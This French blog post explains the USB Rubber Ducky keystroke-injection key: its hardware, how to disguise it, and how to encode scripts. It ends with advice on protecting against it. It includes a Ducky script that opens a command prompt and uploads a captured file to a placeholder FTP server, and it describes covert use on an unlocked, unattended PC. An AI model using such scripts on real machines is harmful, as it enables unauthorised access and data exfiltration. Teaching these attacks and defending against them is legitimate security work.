Skip to content

Présentation de la clé USB Rubber Ducky

Depuis sa création, le port USB est un des vecteurs d’attaque physique les plus convoités, et cela pour une raison simple, il est fait pour connecter rapidement un périphérique à un poste pour y accéder et échanger des données et des flux.

Nous allons aujourd’hui découvrir la clé USB Rubber Ducky, un outil ingénieux qui exploite différemment les ports USB à des fins… peu louables. Je me suis intéressé à cet outil par curiosité et afin de voir comment cela pouvait bien fonctionner, alors autant le partager !

Historique, autorun : c’est quoi ça ?

Historiquement, le vecteur d’attaque le plus dangereux via le port USB était l’autorun.exe. Comme son nom l’indique, ce script pouvait être présent sur les périphériques USB pour lancer des actions sur le système dès qu’il était branché, cela pouvait être le lancement d’une interface de navigation système, le lancement d’un programme spécifique… Rien qu’en lisant ces lignes, vous pouvez vous rendre compte de la dangerosité de cela. C’est pour cela que l’autorun a progressivement été désactivé sur les OS Windows à partir de Windows Vista. L’autorun.exe, c’est de l’histoire ancienne, mais ce n’est pas pour cela que le port USB devient sécurisé pour autant. Il reste le port et l’interface d’échange de données privilégié (hormis l’interface réseau, qui est tout aussi dangereuse d’ailleurs) et donc, un vecteur d’attaque important.

Rubber Ducky, quand la clé USB devient un clavier USB

Le principe d’action de la clé USB Rubber Ducky, commercialisée par Hak5, est simple à comprendre. La clé USB se fait passer pour un clavier auprès du système et va, dès son lancement, exécuter des actions sur le système, à l’image d’un autorun.exe, sauf que cela va être la saisie des touches claviers.

Oui vous avez bien compris, lorsque la clé USB va être branchée, elle va contenir un ensemble de combinaisons et d’actions clavier qui vont lui faire saisir des touches au clavier. Ainsi, si on paramètre la clé USB Rubber Ducky pour faire un « CTRL+R » puis un saisir « CMD », « Entrée » puis saisir « ipconfig », dès que l’on va brancher notre clé USB Rubber Ducky, l’ensemble de ces actions vont s’exécuter, sans que nous n’ayons rien à faire.

Cela est possible par la composition de la clé USB, qui renferme en fait une carte micro SD dans laquelle on injecte un .bin contenant les touches à saisir, celles-ci doivent donc être paramétrées au préalable. Voyons quelques images qui vont vous permettre de mieux comprendre le fonctionnement de la clé USB Rubber Ducky. Voici tout d’abord la clé nue :

usb-cle-rubber-ducky
Clé USB Rubber Ducky vue de haut

On voit sur l’arrière de la clé USB (en bas de l’image) un port Micro-SD. En effet, on va pouvoir injecter notre code dans une carte Micro-SD que l’on va ensuite connecter à l’arrière de la clé qui saura alors quoi faire.

usb-cle-rubber-ducky
Clé USB Rubber Ducky, port Micro-SD à droite

Voici ici une illustration des trois composants principaux. On voit donc bien la clé USB Rubber Ducky (que l’on couvrira plus tard pour qu’elle ressemble à une vraie clé USB 😉 ), la carte Micro-SD fournie avec la clé et dans laquelle nous allons mettre notre code, et en bas un petit adaptateur dans lequel nous pouvons également mettre notre carte Micro-SD :

usb-cle-rubber-ducky (4)
Clé USB Rubber Ducky, carte Micro-SD et adaptateur SD-USB

La carte Micro-SD sera donc mise dans la clé USB pour l’exécution du code au branchement, et sur l’adaptateur pour modification du code. Ce dernier élément, l’adaptateur, permet en effet de pouvoir lire et écrire sur la carte Micro-SD afin d’y ajouter ou enlever notre code (les touches qui seront saisies au clavier). Une fois que le code est mis dans notre carte Micro-SD (nous verrons un peu plus bas comment), nous pouvons remettre la carte Micro-SD à l’arrière de notre clé USB Rubber Ducky :

usb-cle-rubber-ducky
Clé USB Rubber Ducky avec carte Micro-SD

On peut ensuite revêtir notre clé USB de sa coque qui va lui permettre de passer inaperçue :

Voici la clé USB Rubber Ducky dans sa coque, qui devient donc une clé USB comme une autre :

usb-cle-rubber-ducky
Clé USB Rubber Ducky dans sa coque

 Et enfin ma petite clé USB Rubber Ducky dans un PC, qui fait comme si de rien n’était 😉

usb-cle-rubber-ducky
Clé USB Rubbery Ducky branchée

Une fois branchée sur un PC, et si la clé USB contient la carte Micro-SD avec un code valide, le code sera instantanément exécuté.

Exemples de code et d’utilisation

J’ai, à des fins de tests, construit quelques scripts, que j’ai ensuite convertis en .bin grâce à un service en ligne fourni spécifiquement pour la clé USB Rubber Ducky. Voici  par exemple un script simple qui va juste lancer une invite de commande, lancer un ipconfig et mettre le résultat dans un fichier « F:/resultat.txt » :

DELAY 100
REM Executer
GUI r
DELAY 100
REM Lance un invite de commande
STRING cmd
DELAY 100
ENTER
DELAY 100
REM Ecrit le commande suivante (ipconfig et stocke dans un fichier)
STRING ipconfig > F:/resultat.txt
DELAY 100
REM Lance la commande écrite.
ENTER
DELAY 100

On a donc différentes choses :

  • Les lignes commençant par « REM » sont des lignes de commentaires.
  • Les lignes « DELAY » sont des temps d’attente que j’impose à la clé USB Rubber Ducky. Celle-ci est en effet capable d’injecter 1000 touches à la seconde, sauf que rares sont les machines capables d’encaisser une telle vitesse d’exécution, il est donc conseillé de mettre des temps de pause (que je peux raccourcir à 20 ms avec un i7, pour donner un ordre d’idées) entre chaque injection de touche.
  • Les lignes commençant par « STRING » sont des lignes qui injecteront textuellement le mot ou la chaîne qui suit.
  • Les lignes comme « GUI r » sont des lignes permettant de spécifier des commandes spéciales, ici « GUI r » signifie « Appuie sur la touche Windows + r » ce qui permet de lancer la fenêtre « Exécuter » sous Windows. On trouvera différents termes comme celui-ci qui permettent de cibler des touches spécifiques du clavier comme « Tab », « Ctrl ». Au final, toutes les touches et combinaisons de touches qui peuvent être saisies sur un clavier peuvent l’être dans un script Rubber Ducky.

Vous l’aurez donc compris, tout ce que vous êtes capable de saisir via vos mains sur un clavier peut être automatisé pour être saisi par la clé USB Rubber Ducky en un temps record.

Voici un autre exemple dans lequel on va exporter les données vers un serveur FTP situé sur le même réseau :

REM Envoyer un fichier vers FTP
DELAY 1500
GUI r
ENTER
DELAY 100
STRING cmd
ENTER
DELAY 100
STRING ftp
ENTER
DELAY 100
REM Specifier l'adresse du FTP
STRING open mon.ftp.com
ENTER
DELAY 100
REM Specifier le nom d'utilisateur
STRING monuser
ENTER
DELAY 50
REM Specifier le password (Supprimer la ligne STRING si vide)
STRING monmotdepasse
ENTER
DELAY 500
REM Specifier le chemin local du fichier à envoyer
STRING put F:\resultat.txt
DELAY 100
ENTER
DELAY 5000
exit

Une fois le code créé, il faut se rendre sur le service en ligne de Rubber Ducky dans la partie Encoder pour le transformer en .bin. Sur la première page, nous allons saisir notre script puis sélectionner le type de clavier (le signal de touche à envoyer étant différent selon les claviers AZERTY,QWERTY, etc.) :

rubber-ducky-encoder-01
Interface encoder Rubber Ducky, création d’un script

Une fois que l’on a généré notre script, on se retrouve avec la possibilité de le télécharger en .bin et en .txt :

rubber-ducky-encoder-02
Interface encoder Rubber Ducky, création d’un script

En téléchargeant le .bin, on peut ensuite le mettre directement dans la carte Micro-SD si celle-ci est bien branchée à notre PC :

rubber-ducky-encoder-03
Transfert du .bin dans la carte Micro-SD via l’adaptateur

Il suffit ensuite de mettre la carte Micro-SD dans le port Micro-SD de la clé USB Rubber Ducky puis de brancher cette clé comme vue plus haut.

Attention, il est cependant important d’avertir des limites de la clé USB Rubber Ducky  :

  • Plus votre script est long, plus vous risquez d’être surpris ou de commettre une erreur, surtout lorsque vous devez avoir un délai long entre les commandes, car le PC « attaqué » ne supporte pas une grande fréquence d’injection des touches;
  • On ne peut utiliser la clé USB Rubber Ducky sur un ordinateur en veille, ou du moins si, mais cela ne bypassera pas la veille ou le verrouillage. Il faut bien garder à l’esprit que la clé USB Rubber Ducky agira exactement de la même façon qu’un clavier nouvellement branché, mise à part que les touches se saisiront automatiquement au branchement de la clé et que les touches frappées doivent être prédéfinies.

Je pense qu’au final, cela est utilisable dans un nombre réduit de contextes, une cible a laissé son poste quelques minutes sans verrouillage et vous devez y effectuer une action précise pour exporter des données, il faut donc que vous ayez une clé USB Rubber Ducky avec le bon code d’exécution à l’intérieur pour faire tout cela rapidement. Vous branchez la clé USB Rubber Ducky, elle saisit sa suite de touches clavier, sans provoquer d’erreur avec du talent.

Comment s’en protéger ?

La réponse est assez simple, avant d’essayer de toucher à la configuration de ses ports USB pour y refuser tel ou tel clavier ou périphérique, la solution la plus simple est de verrouiller son PC lorsque l’on s’en éloigne. Le reste du temps, éviter de laisser le port USB facilement atteignable, pour l’exécution d’un script de plusieurs milliers de lignes, quelques dizaines de secondes suffisent, on peut alors imaginer que des données cruciales puissent être exportées via la saisie de quelques commandes bash ou Powershell par un script USB Rubber Ducky.

Partager :
Published inArticles

2 Comments

  1. Grossiste clé USB

    Merci pour l’info

  2. neuronyk

    super site qui assouvie en partie ma soif de connaissance en infosec ! moi, travaillant souvent au contact d’inconnu et obligé de lasser svt mon portable sans surveillance pendant quelques minutes, jeme sert de blueproximity (sous debian) pour verouiller mon pc quand je m’eloigne d’un metre, ça fonctionne en bluetooth avec mon telephone qui me sert de « balise », (par contre j’ai a laisser le bluetoothallumer sur mon pc et sur mon tel (donc surement 2 points a proteger…)

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *